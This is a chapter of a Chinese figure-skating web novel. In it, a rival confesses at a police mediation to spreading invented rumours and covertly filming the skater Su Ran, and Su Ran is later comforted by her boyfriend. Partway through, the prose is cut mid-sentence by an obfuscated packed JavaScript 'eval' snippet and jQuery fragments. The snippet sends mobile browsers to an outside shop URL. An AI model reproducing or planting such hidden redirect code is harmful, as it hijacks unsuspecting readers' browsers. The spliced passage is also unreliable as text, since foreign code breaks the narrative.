文趣网 > 其他小说 > 她和他的无尽夏[花滑] > 58. 扭曲
    为了找到这个方法,她兢兢业业的埋伏在苏冉的各种粉丝群里,看里面传出来的八卦,但这些八卦无伤大雅,根本编排不出来的什么东西,谭薇恨恨的想着。

    直到那天晚上,她无意中刷到了一跳帖子,帖子的内容十分无厘头,帖主不了解花样滑冰,拿了某个运动员短节目的小分表对比另一个运动员自由滑的小分表,然后询问为什么牵着的分数高出后者那么多。

    谭薇本想回复,是因为短节目的编排的跳跃、旋转、时长都少于自由滑,所以短节目的分数也会小于自由滑的分数,要么分开对比,要么合在一起对比。

    打了一大堆字后,她还是放弃了,反正这种人也不懂,不然也不至于问出这种蠢问题。

    但评论区倒是让她很在意,因为发表评论的人不懂花样滑冰,但都在暗戳戳的提及体育黑幕这种说话,大意就是说肯定是因为某个运动员没有给裁判送礼,没有权势被针对了。

    这些评论获得了很多人的认可,她突然间明白了一个道理。

    谭薇自己有在社交账号上发表过黑苏冉的帖子,但不仅反响平平,还被苏冉的粉丝骂和举报。

    现在想来,是因为她还局限在花样滑冰规则里,编出来的东西相对于圈外人来说看不懂,圈内人则不会上当受骗,那如果她摒弃这些规则,直接造谣或许可以成功。

    想到这里,她火速编了好几条相当离谱的谣言,类似于为什么这个叫苏冉的运动员总是能拿第一,是因为她买通了裁判之类的。

    随后的几天谭薇把它们发在不同的平台上,果然收获了不少的流量,因为受众是圈外人,所以不管她说的多离谱都会有人信。

    从此之后,她的账号影响力逐渐大了起来,虽然圈内人都在吐槽她的内容离谱至极,但她们的声音都太小了,不会对谭薇构成什么威胁。

    就这样,她的账号不仅损害到了苏冉的公共形象,还薇她自己带来了大笔的收入和名气,谭薇感觉她正在一点点从苏冉拿夺回属于自己的东西。

    她一路高歌的来到了淮云奥运会前的时间,虽然相关社交平台对于奥运会的流量给得很多,但一直翻来覆去发这些内容让受众都疲劳了,还有圈内人在做辟谣视频,慢慢的她的账号又不行了,眼看见苏冉很有希望获得奥运会的选拔名额,谭薇心里很是着急。

    说到底上天还在帮她,谭薇发现苏冉好像在和班长谭恋爱,她不清楚林致远具体的家境,直到和当地很有声望的盛安集团有关系,于是她又心生一计。

    可以从这里入手,比如说,大集团为她购买奥运会资格、风骚运动员勾引豪门纯情豪门少爷、占用国家资源只为包装人设嫁入豪门……只有文字还不够,谭薇会偷偷跟踪她们两个人,拍下照片和视频为证。

    果然,帖子一经发到网上,就引来大批网友围观,在经过网友们的添油加醋后,各种版本风流的版本都留了出来,新开账号的数据居然比前一个还好。

    一时间,名誉、声望、金钱、粉丝,谭薇都有了。

    于她而言,天大的喜讯还在后面,苏冉输掉了选拔资格,更加坐实了网上的风言风语,谭薇美滋滋的把那场比赛看了十几遍,从来都没有这么喜欢秦婉这位运动员。

    再后来,苏冉从学校消失,谭薇觉得她的天终于亮了。

    面前的人在讲述时,几次停下来哈哈大笑,苏冉紧紧握着手,克制自己不要向这个疯子挥拳头,法律会惩罚她的。

    “你知道吗?你离开了,我突然能好好学习了,”谭薇擦去笑出的眼泪,“真没想到凭我那成绩居然还能考到清北大学。”

    苏冉一愣,心中有了不好的猜想。

    “你要不要猜猜寝室里空出来的床是谁的,”谭薇笑累了,直勾勾的看着她,“我们还是太有缘了,真的。”

    她感觉喉咙干干的,一说话就会扯着难受,嘴里是一股铁锈的味道。

    眼前的东西不是人,是地狱里爬出的恶鬼!

    手肘被轻轻碰了碰,警察姐姐递来一盒纸巾,适应她擦擦脸上的血。

    苏冉才发现她的嘴唇被牙齿咬破流下血来,然后血就顺着脸颊滑落,都滴到了桌子上。

    “没事,她说的话是网暴行为的证据,”警察姐姐在她耳边温柔的说道,“别怕,大家都在这里。”

    她悄悄回过头看了眼,调解室外的走廊上站了很多警察。

    苏冉突然有点想哭,不知道是因为害怕还是什么别的,但她又不能哭,被这个恶鬼看见了,恶鬼又要发笑。

    可能是因为讲到眼前这个人兴奋的点,谭薇也不像刚开始面对警察会害怕,而是更加手舞足蹈的讲着。

    “我再跟你说件事吧,当时我偷拍的视频在网上火了,”谭薇假装小声的说,“盛安集团那边还有负责舆论的人给我发消息,我当时可害怕了,怕他们告我,结果你猜怎么着?”

    谭薇故意停下来喝了杯水,不紧不慢的说道:“那些人只让我不要透漏出林致远,于是我裁掉他的部分,盛安集团的人真的没追究我的责任,苏冉,你真是可怜啊。”

    外面的天已经黑了,时钟还在滴滴答答的走着,苏冉的脑子一片乱麻,她想说点什么,但一出口必然是脏话,她努力的做着深呼吸平静自己的情绪,不能被谭薇带着走,谭薇就是想让她生气。

    “我不会和你和解的,等着去坐牢吧!”她咬着牙说道。

    警察姐姐提示今天方调解到此为止,让眼前的人先离开。

    谭薇哼了一声就走了,没过一会儿,她折返回来对苏冉说:“我毁了你的竞技生涯,顺便毁了你的想入豪门的美梦,但我的代价最严重也不过坐几年的牢,算下来还是我赚了。”

    她气急了,抬手就想给谭薇一个耳光,被警察姐姐给拦住了。

    谭薇见她这幅样子,又是忍不住笑了一会儿,才依依不舍的走了。

    为了避免出什么事,警察姐姐把苏冉留下来,劝了好久才用担心的眼光目视苏冉离开了。

    夜晚的淮云市十分热闹,从警察局出来的一路上都有小摊贩卖着各种小吃,行人来来往往。

    苏冉只觉得头有些发昏,她漫无目的凭她的脚顺便带她出哪里,不知道应该干什么,感觉突然间好像失去了所有的力气和希望。

    她的人生哪有谭薇讲的那些轻松啊!明明她付出了哪些努力和金钱,到这个人嘴里就是轻飘飘的运气好。

    一个运动员竞技生涯最好的时间就因为她扭曲的想法被毁了,那么多人因此被网暴,收到伤害……

    苏冉觉得她的眼泪应该是流干了,不然怎么在这个时候还哭不出

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749780|203579||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来。

    也不知道走到了哪里,耳边热闹的声音渐渐散去,只剩下自己的脚步声。

    猝不及防撞入一个温暖的怀抱,淡淡的檀木香就钻进了她的鼻子里,没忍住鼻子一酸,就呜呜的哭了起来。

    “苏冉,没事的,我在这里。”林致远的声音很轻。

    眼泪在这一瞬间才倾涌而出,种种负面情绪搅合在一起,让她的身体不停发抖。

    在调解室的时候,苏冉真的很害怕,谭薇眼里的癫狂根本不是演出来的,一想到被这样一个疯子纠缠了这么些年,她的眼泪更是止不住的往下掉。

    “先去我家里休息一下吧,”林致远把她的耳边的碎发小心的理顺,“没事的,我会一直陪着你的。”

    苏冉在他的怀里蹭了蹭,算是在点头答应了。

    哭得脑子发昏的苏冉呆呆的坐在副驾驶位上,腿上丢了一堆白色纸团,一路上她反复的停住,突然想起什么又开始哭,然后又停住又开始哭……直到睡过去了,才真的停了下来。

    坐在他家的沙发上,虽然她不是很冷,林致远还是给她一条驼色和红黑交织的苏格兰风格的毛毯,苏冉裹在身上,毯子边缘的流苏就挂在她的额头上。

    后面,他给她倒了杯热牛奶,看着白色的雾气消失在空气中,捧着热牛奶,她平静了不少。

    有什么困难是毛毯和热牛奶解决不了的呢?

    她大致把谭薇的事讲给了他听,当然,她省略了一些过程。

    讲完,苏冉静静的把牛奶喝掉了。

    “我好像比我想象中的要坚强,”她喃喃的说道,“我以为我会再次掉进情绪的黑洞里出不来,我现在把这些事复述一遍后,也没有很崩溃。”

    “因为你已经渡过那段最艰难的时刻了,”林致远伸手摸了摸她的头,“只要你还站在赛场上,谭薇就不会毁了你。”

    “我真没想到谭薇能记恨我这么久,”她把杯子放回茶几,“好笑的是,我根本都不记得这号人物,谭薇也是自己给自己斗法,弄成这样,不好说谁把谁毁了。”

    见林致远半天不说话,苏冉还以为他睡着了,回头看时,只看见他眼圈红红的。

    “你干嘛突然看过来?”他有些不好意思的别过脸去,擦了擦眼泪,“吓我一跳。”

    “你在哭什么?”苏冉只觉得好笑,“我才停下来,你又怎么了?”

    “没什么,一想到你现在变得这么坚强,那个时候肯定吃了不少的苦头,”他的声音闷闷的,“你是怎么渡过那段时间的?”

    苏冉吐了一口气,回忆起那段时光,心里都会泛起一阵苦涩,虽然具体的细节已经记不清了,但她还记得房间里潮湿的霉味,待久了就会觉得自己身上也长了霉菌;记得吃药时,妈妈会在一边哭;记得明明吃的不算多,还会经常反胃呕吐,但还是长胖了,没什么衣服穿……

    话到嘴边就只剩下了句:“都过去了,那段时间的事都过去了,我现在不是好好的吗?”

    客厅里很是沉默,她听见林致远好像是吸了吸鼻涕,不免扭过头去想笑。

    这个时候,小雪出来,伸了个大大的懒腰,一套动作齐备后,轻车熟路的跳上沙发,大摇大摆的趴在林致远的腿上。

    “嘶——”,他的眼泪一下收了回去,“好痛!”